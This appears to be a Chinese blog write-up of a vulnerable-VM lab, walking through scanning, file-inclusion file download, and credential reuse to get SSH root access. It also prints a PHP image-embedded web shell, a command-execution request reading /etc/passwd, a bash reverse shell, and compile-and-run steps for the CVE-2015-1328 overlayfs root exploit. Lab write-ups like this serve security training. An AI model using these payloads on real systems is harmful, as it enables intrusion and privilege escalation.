里面有不少安全环境,只要下载相关镜像,在虚拟机上面搭建运行就能够练习对应靶场了。html
第一步、信息收集mysql
nmap扫描内网开放80端口的存活主机 nmap - p 80 192.168.31.0/24linux
目标IP192.168.31.16web
nmap -p 1-65535 192.168.31.16sql
目标主机端口探测(开放22端口【考虑能够尝试爆破root】、80端口开放)、且目标主机为linux系统、使用apache2.2中间件shell
第二步、web服务渗透与提权数据库
提示sql注入,在手工尝试与sqlmap跑post包以后放弃了apache
御剑爆破一下后台目录ubuntu
访问192.168.31.16/test.php
提示file参数为空
咱们测试一下文件包含
尝试POST提交file=test.php此处为任意文件下载,将目录遍历出的文件所有下载开始代码审计
这里咱们看到了文件包含漏洞形成得任意文件下载漏洞得 成因
咱们继续下载御剑爆破出来的目录文件与审计代码中发现的文件
在c.php文件中发现了数据库和密码
咱们加下来访问192.168.31.16/phpmyadmin失败 ,应该是目录更名了,改一下御剑的字典继续爆破,成功获得phpmyadmin地址phpmy
并成功得到了用户名和密码
咱们先不登录继续看下phpmy目录下有没有能够利用的文件
直接得到了mysql的用户名和密码咱们连接下22端口
成功得到了root权限
那咱们再回到刚才得到的web用户的帐号和密码 看下是否是能够得到webshell
成功登录后showuser的地方有两个头像火狐浏览器右键查看图像 看到图像地址
咱们把头像下载下来
在文件尾部插入一句话
cmd命令马<?php system($_GET['cmd']); ?> 将文件上传成功。
接下来用burp抓一个post包
post请求url中加入执行命令的参数:POST /panel.php?cmd=cat%20/etc/passwd;ls
post的body中包含laodi.jpg图片马:load=/uploaded_images/cmd.jpg&continue=continue
命令被成功执行了
咱们接下来利用该功能用bash反弹一个shell
bash反弹shell先进行url编码
在另外一台主机上监听本地8888端口
反弹了一个www权限的shell
接下来确定是提权了
写入一句话 目录不可写
那咱们进入uploaded_images 目录试一下成功了
菜刀链接方便传文件(wget远程下载的话也能够)
看一下内核版本
接下来利用相关版本提权脚本Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328 (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)
Exp地址:https://www.exploit-db.com/exploits/37292
给咱们上传的脚本一个777权限
Chmod 777 ./* (或者chmod 777 yun.c)
gcc yun.c -o yun(编译脚本并重命名为yun)
./yun(运行编译后的脚本)
看下是root权限提权成功了
最后咱们在回到这个sql注入上
str_replace的做用是将字符串\' 替换为空,所以构造SQL注入登陆payload时,必须含有\'字符串,不然会报错。urldecode的做用是将输入解码。
测试payload为%27+or+1%3d1+--%5c%27没成功
' or 1=1 --\'依旧没有成功 因而我放弃了sql注入